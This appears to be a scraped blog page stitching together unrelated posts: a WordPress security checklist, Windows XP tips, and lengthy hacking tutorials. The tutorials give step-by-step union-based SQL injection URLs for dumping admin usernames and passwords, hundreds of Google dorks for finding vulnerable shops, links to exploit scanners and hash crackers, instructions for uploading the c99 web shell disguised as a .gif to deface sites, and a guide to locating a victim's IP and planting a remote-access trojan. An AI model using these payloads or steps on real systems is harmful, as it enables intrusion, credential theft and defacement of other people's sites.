3 Sneaky Tricks Hackers Use to Target WordPress Sites

The open source nature of WordPress has one downside, and if you’re not careful it could ruin your online business. I know this because it happened to me. Just a few months ago, I had a hacker hijack a WordPress site that was consistently earning me several hundred dollars a month.
The hacker:

• Blocked all logins from my IP address
• Deleted 217 pages of content, including over 50 pages of premium membership content.
• Posted 182 spam articles on my site, all which were visible from the home page and which tanked my search engine rankings.
• Changed the admin account to their email so that I could not update my password OR get back into the site

Thankfully, with a little research and my newly acquired knowledge of PHP MYSQL programming, I discovered three easy-to-correct vulnerabilities that I now believe every WordPress blogger needs to know about…
#1: Vulnerability to “Brute Force” Logins

Brute force logins are also called “cracks.”
A crack is when a hacker builds a program that generates thousands of new random passwords per minute and attempts to login to your application by stumbling upon the right combination. For example, let’s assume the hacker already knows that your primary username is “admin.”
All they need to do is crack the password using their trusty automated crack program. The program might start out its first 10 attempts by inputting:
1.     aaa111
2.     aaa112
3.     aaa113
4.     aaa114
5.     aaa115
6.     aaa116
7.     aaa117
8.     aaa118
9.     aaa119
10.   aaa120
As you can imagine, this would take ages without the assistance of a computer. But even the most amateur hackers have access to cracking tools, so you need to make your site as “crack proof” as possible.
(More on that in a second)
#2: Vulnerability to DNS Snooping

If your domain is publicly listed (check with your domain host) and hosted on a shared server, any hacker can use whois.com to find out who you’re hosted with, as well as information about your DNS server AND what other sites are hosted on the same server as yours.
They can also ping your site for the IP Address, feed it into sameip.org and come up with a list of the sites being co-hosted with yours.
If they can’t find a security hole in your WordPress site, they can still hack into the server if they find vulnerabilities on other sites hosted on the same server.
What they can do with this information will depend on their skill level and how much spare time they have between live action role playing games. Any reasonably experienced and moderately persistent hacker could:
1.     Use SQL injections to insert content (blog posts, etc) into your WordPress database and have it display on your WordPress site.
2.     Drop (i.e. delete) your entire WordPress database.
3.     Decode your user’s passwords (including yours) by reverse engineering the algorithm used to encrypt them.*
*Common encryption algorithms  such as MD5 and SHA are used in WordPress scripts and commonly known in the hacker world.
Again, we’ll cover a few precautions you can take to prevent this from happening, but it’s important that you know how your site may be at risk…
#3: Vulnerability to Plugin Hijacking

Right now you probably have at least a few WordPress plugins installed which are not up to date. Some of them aren’t even being updated by the developer anymore. This is a major security hole, especially if you’re receiving updates about the plugin in through your WordPress dashboard.
Those updates are likely being reported to you by a script that’s running on your server called a “cron job.” If a hacker discovers the “doorway” which that script is using to communicate with your WordPress site, they can create their own scripts that can interact or make changes to your WordPress site.
How easy is this?
First, the hacker finds a couple of WordPress plugins which are known to be out of date and which (at least at one time) installed a cron job on the host server. Then, they use a search program (similar to a spider) to harvest all the WordPress sites that have that plugin currently installed.
Once they’ve got that information, they can use a vulnerability in the plugin itself to access your WordPress scripts and, in some cases, your configuration file.
From there, they’ve got a buffet of options for turning the WordPress site you’ve worked so hard to build into a cesspool of spam articles…or  into barren wasteland, devoid of all your well-written content.
So, now that I’ve got you scared and aware about these vulnerabilities, here’s what you can do about them…
Checklist for Closing Up Known WordPress Security Holes

1. NEVER leaving the generic username “admin” as your primary WordPress username, doing so makes it too easy to crack your WordPress admin password.
2. Create an admin username password which are less memorable, but more secure than your current ones. For example, instead of using  something like your last name and date of birth, use a randomly generated password with numbers and letters and write it down somewhere that you can access it quickly.
3. Don’t publicly display your WordPress username, create a nickname instead. You can do this from your WordPress profile in your admin dashboard).
4. Limit the number of IPs users can login from in order to prevent brute force login attempts. Most WordPress membership plugins can do this, including the WPMU DEV plugins.
5. Change your domain listing to private, if customers want to find out more about you and your company, create an information page for them.
6. Get your own dedicated server as soon as financially possible.
7. Have your web developer create a login script that limits failed login attempts and reports any suspicious logins to you. These are fairly easy to create, I built one in just 40 hours.
8. Keep your WordPress plugins up to date with your current version of WordPress. Don’t use plugins which aren’t being maintained by the developer. I suggest becoming a Premium Member of WPMU DEV to permanently solve this problem.
9. Avoid free WordPress themes and plugins at all costs, unless they’re being provided by someone who also sells premium products. People who are being paid for their work are more likely to stay on top of maintaining it. Again, I suggest you check out WPMU DEV.
10.  If at all possible, use a Gmail account for your admin login rather than one attached to your domain name. This way it will be harder for hackers to guess the primary admin email for your domain.
11.  Only run cron jobs which are 100% necessary for maintaining your WordPress site. Most cron jobs can be turned off from your cpanel, just make sure you don’t turn off one that you really need. See your web hosting company about this if you’re unsure.

Anymore questions or comments?
Post them here. I check reader feedback every day.
Happy and safe blogging my friends!

for more detail visit
http://premium.wpmudev.org/blog/3-sneaky-tricks-hackers-use-to-target-wordpress-sites/

Hacking Using The IP Address

[DONT BLAME US!] This Blog cannot be held responseable for the actions of its users in any way, any infomation you gain from this website is for educational purposes only.  [IP ADDRESS] If you want to gain acsess to a computer first you will need there ip address, i recommend you use command or cmd. If you dont no what this is stop now. To open up cmd go to start>Run>(then type cmd)and press enter.   I recommend that you use msn messenger while trying to get someones ip address, first what you do is: >open msn messenger and sign in. >open cmd (see above) and type in ''netstat'' >You will see a few ip addresses in the foreign address list. >write these down or make a note of them. >Now start sending a file to your victim using msn messenger >After they accept the file open cmd and type in netstat again >The ip address that is in the foregin list that wasent there before is the ip of you victim. [TROJANS] Now that you have your victims ip address you now need a trojan software such as sub7 this software is also known as RATS (im not listing RATS you can find them out for yourself but i will post i link at bottom of website that might help you) Once you have the software (RAT) you will need to send the victim your server, (WARNING! if you victim has a firewall or anti - virus software then you've had it cause the firwall will block you out and the anti - virus software will delete your server. but if you lucky and your victim is a idiot and has no security on there pc then just send them it and use the ip address you found to connect to them.

[CMD COMMANDS] Netstat = displays ip address connected to your computer (victims) Ping [IP] = shows if the ip specified is real Nbtstat -a [IP] = if this shows a list of stuff and a 20 in one of the rows then you can do stuff.

Do you know you can have Virtual Desktops (like in Linux) with PowerToys ?

If you have powertoys installed on Windows XP Its available for free at Microsoft download webpage. It is very easy to enable Microsoft Virtual Desktop Feature. Simply right click on the Start Panel Bar also called TaskBar, Click on Tool Bar and select Desktop manager.
You would see a set of 5 icons placed on the right portion of the TAskBar. Click on number 1 to 4 to go to any of the desktops. Now you have have four different Active Desktops.
IMPORTANT NOTE: You may see a little degradation in performance.

Use a Shortcut to Local Area Network Connection Information

Here's something new in Windows XP, instead of using the command line program and typing ipconfig to get local area network information, you can try using the following shortcut:
* Click on Start, point to Connect to, and then click Show All Connections.
* Right–click the connection you want information about, and then click Status.
* In the connection Properties dialog box, click the Support tab.
* For more information, click on the Advanced tab.

To automatically enable the status monitor each time the connection is active, in the connection Properties dialog box, select the Show icon in taskbar notification area when connected check box.

How to login as administrator if you don't see it available

Unless and until you have run into issues and fixing XP (under which case you have to go to Safe Mode to login as Administrator), you can get to administrator screen by simply pressing CTRL+ALT+DELETE twice at the main screen.

Are you missing icons

Are you missing icons? You may be wondering where all the icons from your desktop are in Windows XP? Well if you're like me, you like to have at least My Computer, My Network Places, and My Documents on the your desktop.
You need to:
* Right-click on the desktop, and then click Properties.
* Click the Desktop tab and then click on Customize Desktop.
* Put a check mark in the box next to My Document, My Computer, My Network Places, or Internet Explorer, to add those familiar icons to your desktop. Easy yes!

How to improve on shutdown time ? Close apps automatically & quickly at shutdown

Open Registry by going to START-RUN and typing REGEDIT. Navigate to HKEY_CURRENT_USER\CONTROL PANEL\DESKTOP and look for AutoEndTasks. On my computer default value is 0. Change it to 1. Thats all. Further more you can reduce the time it takes for Windows to issue kill directive to all active/hung applications.

In doing this only constraint that you should make sure exists is that HungAppTimeout is greater than WaitToKillAppTimeout. Change the values of WaitToKillAppTimeout to say 3500 (since default value for HungAppTimeout 5000 and for WaitToKillAppTimeout is 20000)

Want to remove shared documents folder from My Computer window

Some don't like my shared documents folder option. If you are one of that, here is a trick to remove it.Open registry editor by going to START-RUN and entering regedit.
Once in registry, navigate to key 

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ My Computer \ NameSpace \ DelegateFolders 

You must see a sub-key named {59031a47-3f72-44a7-89c5-5595fe6b30ee}. If you delete this key, you have effectively removed the my shared documents folder.

Unlock Toolbars to Customize Them

The new Windows XP now features locking toolbars, and you can adjust them. You may customize a lot of the Windows XP features such as the Taskbar, Start Menu, and even toolbar icons in Internet Explorer and Outlook Express. Remember your right-click:

* Right-click on a toolbar, and then click Lock the Toolbars to remove the check mark.
* Right-click on the toolbar again, and then click Customize.

You may add or remove toolbar buttons, change text options and icon options. When you've got the toolbar customized, click Close. Now right-click on the toolbar and then click Lock the Toolbars to lock them in place. com

How to stop new programs installed balloon from coming up

Right click on START button and select properties. Click on Customize and go to Advanced tab and deselect check box saying "Highlight newly installed programs". This would help you stop this annoying feature from popping up every now and then.

How to remove recycle bin from your desktop

Open Regedit by going to START - RUN and type Regedit and hit enter. Then you should navigate to following entry in registry 

 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\
Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E}

 and delete it. This action should remove recycle bin from your desktop.

Display Your Quick Launch Toolbar Tip

Is your Quick Launch toolbar missing from the taskbar?
To display your familiar Quick Launch toolbar:
Right-click an empty area on the taskbar, click Toolbars, and then click Quick Launch.

Easy as that your Quick Launch bar appears. To add items to your Quick Launch toolbar, click the icon for the program you want to add, and drag it to the Quick Launch portion of the taskbar.

Hack Websites using SQL Injection

Code:

index.php?id=

After you have chose a dork like above, copy it into your clipboard for further use. Now open your exploit scanner.exe. (scanner made by reiluke). At the top where it says "Dork" your going to want to paste your dork into the box.

Atfer you have done this your going to want to switch your "Max Url" from 100 to 1000 for alot of search results. Then press scan on your exploit scanner. After it is done scanning your going to press "Test Sites". After all this is done you should have two lists.

After it is done testing all scanned sites. These pre-tested sites might be sqli vulnerable. But you must first check each site individually. To test a individual site add a " ' " after the url. For example.

Code:

sqlivulnerablesite.com/index.php?id=1'

*NOTE* With this exploit scanner it auto-quotes all the urls.

Lets say for instance you found a site that might be vulnerable (or what you think maybe a vulnerable site). If a error on the web page comes up something like this.

Code:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Then its vulnerable to sql injection. The first step to this multi-step systematic attack on the sql databases is to found out the number of columns there is in the sql database. To found this out we use this code injection in the address bar after the website url. Like this.

Code:

sqlivulnerablesite.com/index.php?id=1 order by 1--

Load the page. If the page loads correctly with that code injection in the url then we are on the right track 

Knowing that there is already 1 column in this database we do another code injection. Like this.

Code:

sqlivulnerablesite.com/index.php?id=1 order by 2--

If the page loads correctly again then this attack can still be performed.

Usually if the pages loads correctly after trying the #2 then I try stepping the number up to around 10. 

*NOTE* If you load the web page on a code injection like this.

Code:

sqlivulnerablesite.com/index.php?id=1 order by 10--

and you get a result like this.

Code:

Unknown column '10' in 'order clause'

Then you must go down a number until you reach the number of columns that is in the database where it allows the web page to load correctly without any errors on the web page. For instance since the error on the web page said "unknown column '10'" we must go down to the number 9. Like this.

Code:

sqlivulnerablesite.com/index.php?id=1 order by 9--

If your page loads correctly then this means there is 9 columns in the database 

The next step in this attack is to find out what column is vulnerable to our attack. We use this code injection in your address bar after the vulnerable site. Like this.

Code:

sqlivulnerablesite.com/index.php?id=1 union all select 1,2,3,4,5,6,7,8,9--

After you have loaded the page it should show which columns are vulnerable. Usually shows about 2-3 columns. I personally use the the lowest number that is vulnerable. For instance "2". Lets say the vulnerable column in the database is "2". The next code injection we use is to found out the version of the database. Like This.

Code:

sqlivulnerablesite.com/index.php?id=1 union all select 1,@@version,3,4,5,6,7,8,9

When the web page is loaded, where the number "2" was on the web page there should be in place of it the "database version". It is best if you a beginner to make sure the database version is 5.0 on higher like 5.0.17. Anything below 5.0 you are going to be required to brute force each of the tables for information. So now that we have the database version which is "5.0.17", we must now find the table names with this code injection at the top in your address bar.

Code:

sqlivulnerablesite.com/index.php?id=1 union all select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables--

After the page is loaded it should have all the table names on the web page. The table name that your going to want to find is admins. Once you have found admins or something that is similar to that, then we do another code injection to found out that columns which are in that table with this code.

Code:

sqlivulnerablesite.com/index.php?id=1 union all select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=char(x)--

*NOTE* Here (x) is the ascii value of the table name.

Now we must find the ascii value of the word admins. 

GO HERE TO CONVERT TEXT TO ASCII

The ascii value of admins is

Code:

& #97 ; & #100 ; & #109 ; & #105 ; & #110; & #115 ;

Delete all the ";" , "#" , and "&". So it should look like this.

Code:

97,100,109,105,110,115

Now replace the the "x" with that ascii number code. Now your new code injection should look something like this. Enter it in your url address bar.

Code:

sqlivulnerablesite.com/index.php?id=1 union all select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=char(97,100,109,105,110,115)--

When the page loads you should get something like/similar to username and password on the web page. To get the data from that column you must use a code injection like this.

Code:

sqlivulnerablesite.com/index.php?id=1 union all select 1,concat(username),0x3a,(password),3,4,5,6,7,8,9 from --

*NOTE* (0x3a) is the ascii value of the column name

When the page loads it should show the data of the username and password for cpanel access.

Now to access the cpanel we must find the login page. I provided a admin finder.exe in the .rar. Open it up and type in the url of your vulnerable site. From there it scan till it finds the login page for admin cpanel access. Which can lead to defacement and web server compromise. 

Hopefully someone found this thread useful/helpful. I take full credit in writing this tutorial out. PM me if you need any further help with your sql injections!

Hack Website using SQL Injection

FIRST OF ALL YOU SHOULD KNOW WHAT IS DEFACEMENT??
Defacing a website simply means that we replace the index.html file of a site by our file. Now all the Users that open it will see our Page(i.e being uploaded by us).
For Defacing a website, three things that you need Most are:
1. SQL Injection(For analyzing website loops)
2. Admin Password
3. Shell Script (for getting Admin Controls)


Now Lets Start the Tutorial:
First of all I would Like to say that I have took some part of SQL injection Tutorial from my previous posts and a site http://www.milw0rm.com/ .Most of the Part is written by me so if you have any doubts I will clear them....


1. Finding the Target and the Admin Password
First of all we must find out our target website. I have collected a lot of dorks i.e the vulnerability points of the websites. Some Google Searches can be awesomely utilized to find out vulnerable Websites.. Below is example of some queries..
Examples: Open the Google and copy paste these queries...

inurl:index.php?id=

inurl:trainers.php?id=

inurl:buy.php?category=

inurl:article.php?ID=

inurl:play_old.php?id=

inurl:declaration_more.php?decl_id=

inurl:pageid=

inurl:games.php?id=

inurl:page.php?file=

inurl:newsDetail.php?id=

inurl:gallery.php?id=

Here are some More Queries (use them without quotation marks)..

"add.asp?bookid="
"add_cart.asp?num="
"addcart.asp?"
"addItem.asp"
"add-to-cart.asp?ID="
"addToCart.asp?idProduct="
"addtomylist.asp?ProdId="
"adminEditProductFields.asp?intProdID="
"advSearch_h.asp?idCategory="
"affiliate.asp?ID="
"affiliate-agreement.cfm?storeid="
"affiliates.asp?id="
"ancillary.asp?ID="
"archive.asp?id="
"article.asp?id="
"aspx?PageID"
"basket.asp?id="
"Book.asp?bookID="
"book_list.asp?bookid="
"book_view.asp?bookid="
"BookDetails.asp?ID="
"browse.asp?catid="
"browse_item_details.asp"
"Browse_Item_Details.asp?Store_Id="
"buy.asp?"
"buy.asp?bookid="
"bycategory.asp?id="
"cardinfo.asp?card="
"cart.asp?action="
"cart.asp?cart_id="
"cart.asp?id="
"cart_additem.asp?id="
"cart_validate.asp?id="
"cartadd.asp?id="
"cat.asp?iCat="
"catalog.asp"
"catalog.asp?CatalogID="
"catalog_item.asp?ID="
"catalog_main.asp?catid="
"category.asp"
"category.asp?catid="
"category_list.asp?id="
"categorydisplay.asp?catid="
"checkout.asp?cartid="
"checkout.asp?UserID="
"checkout_confirmed.asp?order_id="
"checkout1.asp?cartid="
"comersus_listCategoriesAndProducts.asp?idCategory ="
"comersus_optEmailToFriendForm.asp?idProduct="
"comersus_optReviewReadExec.asp?idProduct="
"comersus_viewItem.asp?idProduct="
"comments_form.asp?ID="
"contact.asp?cartId="
"content.asp?id="
"customerService.asp?TextID1="
"default.asp?catID="
"description.asp?bookid="
"details.asp?BookID="
"details.asp?Press_Release_ID="
"details.asp?Product_ID="
"details.asp?Service_ID="
"display_item.asp?id="
"displayproducts.asp"
"downloadTrial.asp?intProdID="
"emailproduct.asp?itemid="
"emailToFriend.asp?idProduct="
"events.asp?ID="
"faq.asp?cartID="
"faq_list.asp?id="
"faqs.asp?id="
"feedback.asp?title="
"freedownload.asp?bookid="
"fullDisplay.asp?item="
"getbook.asp?bookid="
"GetItems.asp?itemid="
"giftDetail.asp?id="
"help.asp?CartId="
"home.asp?id="
"index.asp?cart="
"index.asp?cartID="
"index.asp?ID="
"info.asp?ID="
"item.asp?eid="
"item.asp?item_id="
"item.asp?itemid="
"item.asp?model="
"item.asp?prodtype="
"item.asp?shopcd="
"item_details.asp?catid="
"item_list.asp?maingroup"
"item_show.asp?code_no="
"itemDesc.asp?CartId="
"itemdetail.asp?item="
"itemdetails.asp?catalogid="
"learnmore.asp?cartID="
"links.asp?catid="
"list.asp?bookid="
"List.asp?CatID="
"listcategoriesandproducts.asp?idCategory="
"modline.asp?id="
"myaccount.asp?catid="
"news.asp?id="
"order.asp?BookID="
"order.asp?id="
"order.asp?item_ID="
"OrderForm.asp?Cart="
"page.asp?PartID="
"payment.asp?CartID="
"pdetail.asp?item_id="
"powersearch.asp?CartId="
"price.asp"
"privacy.asp?cartID="
"prodbycat.asp?intCatalogID="
"prodetails.asp?prodid="
"prodlist.asp?catid="
"product.asp?bookID="
"product.asp?intProdID="
"product_info.asp?item_id="
"productDetails.asp?idProduct="
"productDisplay.asp"
"productinfo.asp?item="
"productlist.asp?ViewType=Category&CategoryID= "
"productpage.asp"
"products.asp?ID="
"products.asp?keyword="
"products_category.asp?CategoryID="
"products_detail.asp?CategoryID="
"productsByCategory.asp?intCatalogID="
"prodView.asp?idProduct="
"promo.asp?id="
"promotion.asp?catid="
"pview.asp?Item="
"resellers.asp?idCategory="
"results.asp?cat="
"savecart.asp?CartId="
"search.asp?CartID="
"searchcat.asp?search_id="
"Select_Item.asp?id="
"Services.asp?ID="
"shippinginfo.asp?CartId="
"shop.asp?a="
"shop.asp?action="
"shop.asp?bookid="
"shop.asp?cartID="
"shop_details.asp?prodid="
"shopaddtocart.asp"
"shopaddtocart.asp?catalogid="
"shopbasket.asp?bookid="
"shopbycategory.asp?catid="
"shopcart.asp?title="
"shopcreatorder.asp"
"shopcurrency.asp?cid="
"shopdc.asp?bookid="
"shopdisplaycategories.asp"
"shopdisplayproduct.asp?catalogid="
"shopdisplayproducts.asp"
"shopexd.asp"
"shopexd.asp?catalogid="
"shopping_basket.asp?cartID="
"shopprojectlogin.asp"
"shopquery.asp?catalogid="
"shopremoveitem.asp?cartid="
"shopreviewadd.asp?id="
"shopreviewlist.asp?id="
"ShopSearch.asp?CategoryID="
"shoptellafriend.asp?id="
"shopthanks.asp"
"shopwelcome.asp?title="
"show_item.asp?id="
"show_item_details.asp?item_id="
"showbook.asp?bookid="
"showStore.asp?catID="
"shprodde.asp?SKU="
"specials.asp?id="
"store.asp?id="
"store_bycat.asp?id="
"store_listing.asp?id="
"Store_ViewProducts.asp?Cat="
"store-details.asp?id="
"storefront.asp?id="
"storefronts.asp?title="
"storeitem.asp?item="
"StoreRedirect.asp?ID="
"subcategories.asp?id="
"tek9.asp?"
"template.asp?Action=Item&pid="
"topic.asp?ID="
"tuangou.asp?bookid="
"type.asp?iType="
"updatebasket.asp?bookid="
"updates.asp?ID="
"view.asp?cid="
"view_cart.asp?title="
"view_detail.asp?ID="
"viewcart.asp?CartId="
"viewCart.asp?userID="
"viewCat_h.asp?idCategory="
"viewevent.asp?EventID="
"viewitem.asp?recor="
"viewPrd.asp?idcategory="
"ViewProduct.asp?misc="
"voteList.asp?item_ID="
"whatsnew.asp?idCategory="
"WsAncillary.asp?ID

Now The Admin password Hacking procedure starts:


You can also refer to my previous post of hacking websites:

Hacking websites : How to hack websites By using SQL Injection

1). Check for vulnerability


Let's say that we have some site like this


http://www.site.com/news.php?id=5


Now to test if is vulrnable we add to the end of url ' (quote),


and that would be http://www.site.com/news.php?id=5'


so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar that means the Site is vulnerable to SQL injection.


2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result) so how to use it? Well just incrementing the number until we get an error.
http://www.site.com/news.php?id=5 order by 1/* <-- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* <-- no error
http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)

that means that the it has 3 columns, cause we got an error on 4.



3). Check for UNION function
With union we can select more data in one sql statement.

So we have
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works .

4). Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.

Let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

If you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

I didn't see any paper covering this problem, so i must write it .

What we need is convert() function

i.e.
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

i.e.
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version .


5). Getting table and column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good )

We know that table admin exists...

Now to check column names.

http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up 
i.e md5 hash, mysql hash, sha1...

Now we must complete query to look nice 

For that we can use concat() function (it joins strings)

i.e
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )

http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
Now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

When you have this, you can login like admin or some superuser.

If can't guess the right table name, you can always try mysql.user (default)

It has user  password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
6). MySQL 5

Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
the second table is displayed.

for third table we put limit 2,1

i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

Keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... 

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
The first column is diplayed.

The second one (we change limit 0,1 to limit 1,1)

ie.

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

The second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc... 

If you wanna display column names for specific table use this query. (where clause)

Let's say that we found table users.

i.e
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*
Now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

Let's say that we found colums user, pass and email.

Now to complete query to put them all together.

For that we use concat() , i decribe it earlier.

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/

What we get here is user:pass:email from table users.

Example: admin:hash:whatever@blabla.com

** If you are too lazy for doing above stuff you can use tools they will do all the job:

1) Exploit scanner (this will find vulnerable websites)
Code:http://rapidshare.com/files/24802790...oitscanner.zip

2) SQLi helpper (this tool will do all the injecting job and get you the pass or hash)
Code:http://rapidshare.com/files/24802907...elperV.2.7.rar

*** use the tools only if you are new to hacking. Do it manually thats the thrill and that is real hacking. When you do it manually you will understand the concept.

In some websites you can directly see the password but most of the websites encrypt them using MD5. so u hav to crack the hash to get the password. 


To crack the password there are three ways
1) Check the net whether this hash is cracked before:
Download:http://www.md5decrypter.co.uk

2) Crack the password with the help of a site:
Download::http://www.milw0rm.com/cracker/insert.php

http://passcracking.com/index.php

3) Use a MD5 cracking software:
Download:http://rapidshare.com/files/13696796...CF_2.10_2b.rar

Password = OwlsNest


2) DEFACING THE WEBSITE

After getting the password you can login as the admin of the site. But first you have to find the admin login page for the site. there r three methods to find the admin panel.

1) You can use an admin finder website:
Code:http://4dm1n.houbysoft.com/

2) You can use an admin finder software:

Code:http://rapidshare.com/files/248020485/adminfinder.rar


After logging in as the admin you can upload photos to the site. so now you are going to upload a shell into the site using this upload facility.

Dowload the shell here:http://rapidshare.com/files/248023722/c99.rar

Extract it you will get a c99.php upload it.
Some sites wont allow you to upload a php file. so rename it as c99.php.gif
Then upload it.

After that go to http://www.site.com/images (in most sites images are saved in this dir but if you cant find c99 there then you have to guess the dir)

find the c99.php.gif and click it..

Now you can see a big control pannel....
Now you can do what ever you want to do...
Search for the index.html file and replace it with your own file. 
So if any one goes to that site they will see your page....
After Doing This click on Logout and You are Done..

Read more: http://www.hackingloops.com/2009/12/hacking-class-14-how-to-deface-websites.html#ixzz2UQistJqu